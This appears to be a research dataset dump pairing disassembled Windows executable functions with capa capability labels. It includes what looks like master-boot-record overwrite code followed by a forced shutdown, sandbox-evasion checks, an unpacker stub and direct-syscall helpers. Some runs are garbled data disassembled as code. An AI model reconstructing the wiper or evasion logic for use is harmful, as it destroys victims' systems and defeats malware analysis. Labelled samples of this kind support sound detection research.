joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400014b0
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
xor ecx, ecx
mov edx, 0x20000000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x30], 0
mov rdx, rax
lea rcx, str.HKCUKeyboard_Layout
mov rbx, rax
call fcn.140001100
lea r9, [rsp + 0x30]
mov rdx, rbx
lea rcx, str.HKCUControl_Panel
call fcn.140001100
mov r8, qword [rsp + 0x30]
mov rdx, rbx
call fcn.140001000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140009038
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, r8
mov r9, rcx
xor ecx, ecx
movabs r8, 0xcbf29ce484222325
mov rsi, rdx
movzx eax, byte [rbx + rcx + 0x10]
movabs rdx, 0x100000001b3
xor r8, rax
inc rcx
imul r8, rdx
cmp rcx, 4
jb 0x14000905c
mov rdx, qword [r9 + 0x30]
mov rcx, qword [r9 + 0x18]
and rdx, r8
add rdx, rdx
cmp qword [rcx + rdx*8 + 8], rbx
jne 0x1400090b3
cmp qword [rcx + rdx*8], rbx
jne 0x1400090a8
mov rax, qword [r9 + 8]
mov qword [rcx + rdx*8], rax
mov rcx, qword [r9 + 0x18]
mov rax, qword [r9 + 8]
jmp 0x1400090ac
mov rax, qword [rbx + 8]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x1400090c0
cmp qword [rcx + rdx*8], rbx
jne 0x1400090c0
mov rax, qword [rbx]
mov qword [rcx + rdx*8], rax
mov rax, qword [rbx + 8]
mov rdi, qword [rbx]
mov qword [rax], rdi
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rcx + 8], rax
dec qword [r9 + 0x10]
mov rdx, qword [rbx + 0x30]
cmp rdx, 8
jb 0x1400090f5
mov rcx, qword [rbx + 0x18]
inc rdx
mov r8d, 2
call fcn.1400020a4
mov edx, 1
mov rcx, rbx
lea r8d, [rdx + 0x37]
call fcn.1400020a4
mov rbx, qword [rsp + 0x30]
mov rax, rsi
mov qword [rsi], rdi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x14000b51c
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_1.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x1400148a0], eax
call fcn.14000b2a4
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_UnhandledExceptionFilter]
cmp dword [0x1400148a0], 0
jne case.default.0x14000b572
mov ecx, 1
call fcn.14000b2a4
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_TerminateProcess]
add al, 0x13
sub eax, 0x2dff5e27
push rdi
mov cl, 0xac
invalid
cbw
jp 0x140020992
js 0x140020a1a
mov cl, 0x9c
in eax, 0x7d
jbe 0x1400209db
pop rbp
pop rbp
push rbx
invalid
fld dword [rbp + rbx*4 - 0xc]
sbb rax, 0xfffffffff71dcbf6
jle 0x1400209e4
idiv dword [rsi - 3]
or dword [rdi + 0x503e8bf8], ebx
lodsb al, byte [rsi]
invalid
cmc
fsubr qword [rbx]
scasd eax, dword [rdi]
fsub dword [rbp - 0x2aebb443]
xchg esi, eax
push rcx
in eax, dx
invalid
Function at 0x496950
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
sub rsp, 0xc8
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
nop
cmp word [0x00400000], 0x5a4d
je 0x49698d
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
lea rdi, [0x00400000]
jmp 0x496a1b
movsxd rax, dword [0x0040003c]
lea rdi, [0x00400000]
add rax, rdi
cmp dword [rax], 0x4550
je 0x4969b1
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x496a1b
movzx ecx, word [rax + 0x18]
cmp ecx, 0x10b
je 0x4969f8
cmp ecx, 0x20b
je 0x4969d0
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x496a1b
cmp dword [rax + 0x84], 0xe
ja 0x4969e4
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x496a1b
xor ebx, ebx
cmp dword [rax + 0xf8], ebx
setne bl
mov dword [rsp + 0xd0], ebx
jmp 0x496a1b
cmp dword [rax + 0x74], 0xe
ja 0x496a09
xor ebx, ebx
mov dword [rsp + 0xd0], ebx
jmp 0x496a1b
xor ebx, ebx
cmp dword [rax + 0xe8], ebx
setne bl
mov dword [rsp + 0xd0], ebx
mov ecx, 2
call qword [sym.imp.msvcrt.dll___set_app_type]
mov qword [0x004d0400], 0xffffffffffffffff
mov qword [0x004d0408], 0xffffffffffffffff
mov rcx, qword [sym.imp.msvcrt.dll__fmode]
mov eax, dword [0x004cfe8c]
mov dword [rcx], eax
mov rcx, qword [sym.imp.msvcrt.dll__commode]
mov eax, dword [0x004cfe88]
mov dword [rcx], eax
call fcn.00496c00
cmp dword [0x004cf0e8], 0
jne 0x496a75
lea rcx, [fcn.00496c00]
call qword [sym.imp.msvcrt.dll___setusermatherr]
lea rdx, [0x004989e0]
lea rcx, [0x004989d8]
call sub.msvcrt.dll__initterm
mov r11d, dword [0x004cfe84]
mov dword [rsp + 0xd8], r11d
lea rax, [rsp + 0xd8]
mov qword [rsp + 0x20], rax
mov r9d, dword [0x004cfe80]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x3c]
call qword [sym.imp.msvcrt.dll___getmainargs]
lea rdx, [0x004989d0]
lea rcx, [0x00498928]
call fcn.0057a000
mov r11, qword [sym.imp.msvcrt.dll__acmdln]
mov r8, qword [r11]
mov qword [rsp + 0x30], r8
cmp byte [r8], 0x22
jne 0x496b16
nop
nop
inc r8
mov qword [rsp + 0x30], r8
movzx eax, byte [r8]
test al, al
je 0x496b06
cmp al, 0x22
je 0x496b06
jmp 0x496af0
cmp byte [r8], 0x22
jne 0x496b26
inc r8
mov qword [rsp + 0x30], r8
jmp 0x496b26
cmp byte [r8], 0x20
jbe 0x496b26
inc r8
mov qword [rsp + 0x30], r8
jmp 0x496b16
movzx eax, byte [r8]
test al, al
je 0x496b3c
cmp al, 0x20
ja 0x496b3c
inc r8
mov qword [rsp + 0x30], r8
jmp 0x496b26
test byte [rsp + 0x8c], 1
je 0x496b51
movzx r9d, word [rsp + 0x90]
jmp 0x496b57
mov r9d, 0xa
xor edx, edx
mov rcx, rdi
call fcn.004570d4
mov edi, eax
mov dword [rsp + 0x38], eax
test ebx, ebx
jne 0x496b73
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
call qword [sym.imp.msvcrt.dll__cexit]
jmp 0x496b97
mov eax, edi
jmp 0x496ba0
mov rbx, qword [rsp + 0xe0]
mov rdi, qword [rsp + 0xe8]
add rsp, 0xc8
ret
Function at 0x14003b280
Capabilities:
Write file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rax, qword [0x140084030]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov dil, 1
cmp qword [rcx + 0x68], 0
je 0x14003b33c
mov rsi, rcx
cmp byte [rcx + 0x71], 0
je 0x14003b33c
mov rax, qword [rsi]
mov rax, qword [rax + 0x18]
mov rcx, rsi
mov edx, 0xffffffff
call qword [0x1400ba010]
cmp eax, 0xffffffff
je 0x14003b33a
mov rcx, qword [rsi + 0x68]
lea r9, [rsp + 0x50]
lea rdx, [rsi + 0x74]
mov rax, qword [rcx]
mov rax, qword [rax + 0x40]
lea r8, [rsp + 0x28]
mov qword [rsp + 0x20], r8
lea rdi, [rsp + 0x30]
mov r8, rdi
call qword [0x1400ba010]
cmp eax, 3
je 0x14003b353
cmp eax, 1
je 0x14003b309
test eax, eax
jne 0x14003b33a
mov byte [rsi + 0x71], 0
mov rbx, qword [rsp + 0x28]
sub rbx, rdi
je 0x14003b330
mov r9, qword [rsi + 0x80]
mov edx, 1
mov rcx, rdi
mov r8, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbx, rax
jne 0x14003b33a
cmp byte [rsi + 0x71], 0
sete dil
jmp 0x14003b33c
xor edi, edi
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14003a5b0
mov eax, edi
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret
mov byte [rsi + 0x71], 0
mov dil, 1
jmp 0x14003b33c
Function at 0x140001a80
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
mov rax, qword [0x140006030]
xor rax, rsp
mov qword [rsp + 0x250], rax
lea rcx, [rsp + 0x42]
xor ebx, ebx
xor edx, edx
mov r8d, 0x206
mov rdi, r9
mov word [rsp + 0x40], bx
call sub.MSVCR110.dll_memset
lea rax, [rsp + 0x34]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
lea r8, str.INSTALLPATH
lea rdx, str.SoftwareLenovoLenovo_Settings
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x34], 0x104
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 1
call qword [sym.imp.SHLWAPI.dll_SHGetValueW]
test eax, eax
lea rdx, [rsp + 0x40]
mov rcx, rdi
sete bl
call qword [sym.imp.mfc110u.dll_Ordinal_1494]
mov eax, ebx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140001ff0
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret
Function at 0x140003a30
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140003a64
cmp word [rcx], 0x5a4d
jne 0x140003a64
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140003a64
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003a64
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140003970
test eax, eax
jne 0x140003a80
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.1400039e0
test rax, rax
je 0x140003a75
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.14000422c
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret

Function at 0x140004130
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.1400040d0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140004594
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x140536e38]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x140536e34]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x1400045e2
mov rdx, qword [rax]
cmp r12, rdx
jb 0x1400045da
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1400046c9
inc ebx
add rax, 0x28
jmp 0x1400045ba
mov rcx, r12
call fcn.140004dc1
mov rbp, rax
test rax, rax
jne 0x140004601
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140004530
movsxd rbx, ebx
mov rax, qword [0x140536e38]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.140004e6f
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140536e38]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140004663
mov rax, qword [0x140536e38]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140004530
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400046c3
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400046c3
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140536e38]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400046c3
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140004530
inc dword [0x140536e34]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140004af0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x140536ea0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140536e80]
test rbx, rbx
je 0x140004b3c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140004b36
test eax, eax
jne 0x140004b36
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140004b0e
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140004cf0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140004d13
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140004d13
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140004d14
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140004d4e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140004d45
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140004d50
inc r8d
add rax, 0x28
jmp 0x140004d2c
xor eax, eax
ret

Function at 0x140004dc1
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140533410]
mov r8, rcx
mov rcx, r9
call fcn.140004cf0
test eax, eax
je 0x140004ded
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140004d14
xor eax, eax
add rsp, 0x28
ret
Function at 0x10000bae0
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [0x100011df8], rdi
je 0x10000bb40
cmp rax, rdi
jne 0x10000bb33
mov r12d, 1
jmp 0x10000bb40
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10000bb19
mov eax, dword [0x100011df0]
cmp eax, 1
jne 0x10000bb55
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x10000bbbc
mov eax, dword [0x100011df0]
cmp eax, ebx
jne 0x10000bbb2
mov dword [0x100011df0], 1
lea r13, [0x100001448]
lea rdi, [0x100001430]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x10000bba4
cmp eax, ebx
jne 0x10000bba4
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x10000bb99
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x10000bb82
cmp eax, ebx
je 0x10000bbbc
mov eax, 0xff
jmp 0x10000bd04
mov dword [0x1000115d4], 1
mov eax, dword [0x100011df0]
cmp eax, 1
jne 0x10000bbe4
lea rdx, [0x100001428]
lea rcx, [0x1000013f0]
call sub.msvcrt.dll__initterm
mov dword [0x100011df0], 2
cmp r12d, ebx
jne 0x10000bbf3
mov rax, rbx
xchg qword [0x100011df8], rax
cmp qword [0x100011e10], rbx
je 0x10000bc1b
lea rcx, [0x100011e10]
call fcn.10000c0cc
cmp eax, ebx
je 0x10000bc1b
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x100011e10]
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
jne 0x10000bc31
mov eax, 0xff
jmp 0x10000bd04
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
cmp word [rcx], 0x20
ja 0x10000bcb6
cmp word [rcx], bx
je 0x10000bc4c
cmp edx, ebx
jne 0x10000bcb6
cmp word [rcx], bx
je 0x10000bc62
cmp word [rcx], 0x20
ja 0x10000bc62
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x10000bc4c
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x100000000]
call fcn.100002d14
mov dword [0x1000115d0], eax
cmp dword [0x1000115b4], ebx
jne 0x10000bca0
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1000115d4], ebx
jne 0x10000bcb4
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1000115d0]
jmp 0x10000bd04
cmp word [rcx], 0x22
jne 0x10000bcc9
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x10000bc3d
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
sub rsp, 0x28
call fcn.1001a0000
add rsp, 0x28
jmp 0x10000bae0
Function at 0x140003ce4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003d2e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140003d2e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003d2e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140003d2e
cmp dword [rcx + 0x84], 0xe
jbe 0x140003d2e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140003d30
xor al, al
add rsp, 0x28
ret
Function at 0x1400010a0
Capabilities:
Get hostname
Get memory capacity
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x320
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x310], rax
lea rcx, [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0xd0], 2
jb 0x14000124c
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x78]
shr rax, 0x14
cmp eax, 0x800
jb 0x14000124c
xor ebx, ebx
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
xor edx, edx
mov dword [rsp + 0x20], 3
lea r8d, [rbx + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], rbx
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x28], 0x18
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, rax
mov edx, 0x70000
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0x64]
imul rcx, rax
mov eax, dword [rsp + 0x5c]
imul rax, rcx
imul rax, qword [rsp + 0x50]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x64
jb 0x14000124c
mov r8d, 0x105
lea rdx, [rsp + 0x100]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, str.Caltech.exe
lea rcx, [rsp + 0x100]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x14000124c
lea rdx, [rsp + 0x44]
mov dword [rsp + 0x44], 0x10
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rdx, str.DESKTOP_
lea rcx, [rsp + 0xe0]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x14000124c
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 1
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cmp ebx, 0x3e8
jge 0x14000121b
cmp eax, 0x3e8
jl 0x14000124c
mov ecx, 0x50
call qword [sym.imp.USER32.dll_GetSystemMetrics]
lea r9, [rsp + 0x40]
mov byte [rsp + 0x40], 0
lea r8, section..text
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayMonitors]
cmp byte [rsp + 0x40], 0
jne 0x14000124c
xor eax, eax
jmp 0x140001251
mov eax, 1
mov rcx, qword [rsp + 0x310]
xor rcx, rsp
call fcn.140001280
add rsp, 0x320
pop rbx
ret

Function at 0x140001b48
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b92
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b92
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b92
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b92
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b92
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b94
xor al, al
add rsp, 0x28
ret
Function at 0x140001270
Capabilities:
Shutdown system
Write file on windows

Disassembly:
sub rsp, 0x58
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
call section..text
test al, al
je 0x140001321
mov qword [rsp + 0x60], rbx
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x50], rdi
xor r9d, r9d
xor edi, edi
mov edx, 0x10000000
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
lea r8d, [rdi + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rdi
mov rcx, rax
lea rdx, [0x140005668]
mov r8d, 0x200
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
lea ecx, [rdi + 2]
call qword [sym.imp.USER32.dll_ExitWindowsEx]
mov rbx, qword [rsp + 0x60]
test eax, eax
sete dil
mov eax, edi
mov rdi, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001350
add rsp, 0x58
ret
mov eax, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001350
add rsp, 0x58
ret

Function at 0x140001c18
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c62
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c62
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c62
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c62
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c62
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c64
xor al, al
add rsp, 0x28
ret
Function at 0x14000f2f0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14000f2fd
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14000f30d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14000f2f5
lea eax, [rcx + 1]
jmp 0x14000f31b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14000f32e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14000f314
sub eax, 3
jb 0x14000f34e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14000f39d
sar eax, 1
movsxd rbp, eax
jb 0x14000f384
jmp 0x14000f35c
add ebx, ebx
jne 0x14000f35a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14000f384
inc ecx
add ebx, ebx
jne 0x14000f36a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14000f384
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14000f37d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14000f36c
add ecx, 2
jmp 0x14000f389
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14000f2b2
jmp 0x14000f2fd
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x2c00
mov dl, 2
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14000f3e9
cmp rsi, rcx
jae 0x14000f3f1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14000f3d0
cmp al, 0x8f
ja 0x14000f3d0
cmp byte [rsi - 2], 0xf
je 0x14000f3d6
sub al, 0xe8
cmp al, 1
ja 0x14000f3ba
cmp rsi, rcx
jae 0x14000f3f1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14000f3c0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14000f3f1
lodsb al, byte [rsi]
jmp 0x14000f3d0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xd000]
mov eax, dword [rdi]
or eax, eax
je 0x14000f44e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xf1dc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14000f3fe
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14000f448
mov qword [rbx], rax
add rbx, 8
jmp 0x14000f41e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14000f488
cmp al, 0xef
ja 0x14000f47a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14000f45a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14000f469
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14000f4dc
sub rsp, 0xffffffffffffff80
jmp 0x140002f94